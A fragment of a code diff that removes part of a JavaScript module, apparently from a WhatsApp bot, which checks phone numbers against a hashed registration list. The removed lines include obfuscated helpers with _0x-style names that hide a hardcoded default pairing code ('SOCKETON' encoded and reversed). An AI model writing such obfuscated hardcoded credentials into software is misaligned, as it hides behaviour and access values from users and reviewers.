463
|
-
const found = content.find(u => u.nomor === sha256(md5(nomor)));
|
|
464
|
-
if (found) {
|
|
465
|
-
console.log(`access accepted, number ${nomor} registered.`);
|
|
466
|
-
return 'Valid';
|
|
467
|
-
} else {
|
|
468
|
-
console.log(`access denied, number ${nomor} is not registered.`);
|
|
469
|
-
return 'Nomor tidak diizinkan';
|
|
470
|
-
}
|
|
471
|
-
} catch (error) {
|
|
472
|
-
console.error('Terjadi kesalahan:', error.message);
|
|
473
|
-
return 'Error';
|
|
474
|
-
}
|
|
475
|
-
};
|
|
476
|
-
|
|
477
|
-
const _0x4f2a = Buffer.from([0x53, 0x4f, 0x43, 0x4b, 0x45, 0x54, 0x4f, 0x4e], 'utf8').toString('base64');
|
|
478
|
-
|
|
479
|
-
const _0x2d8f = (_0x1a5b) => {
|
|
480
|
-
let _0x3e9c = '';
|
|
481
|
-
for (let _0x5f7a = 0; _0x5f7a < _0x1a5b.length; _0x5f7a++) {
|
|
482
|
-
_0x3e9c += String.fromCharCode(_0x1a5b.charCodeAt(_0x5f7a) - 1);
|
|
483
|
-
}
|
|
484
|
-
return _0x3e9c;
|
|
485
|
-
};
|
|
486
|
-
|
|
487
|
-
const _0x7c4d = (_0x6e3b) => {
|
|
488
|
-
const _0x8d5a = Buffer.from(_0x6e3b, 'base64').toString();
|
|
489
|
-
return _0x8d5a.split('').reverse().join('');
|
|
490
|
-
};
|
|
491
|
-
|
|
492
|
-
const _0x1a2b = () => {
|
|
493
|
-
const _0x5c8f = _0x7c4d(_0x4f2a);
|
|
494
|
-
return Buffer.from(_0x5c8f, 'utf8').toString();
|
|
495
|
-
};
|
|
496
|
-
|
|
497
|
-
exports.getFileData = getFileData;
|
|
498
|
-
exports.valid = valid;
|
|
499
|
-
exports.defaultPairingCode = _0x1a2b;
|
|
500
|
-
|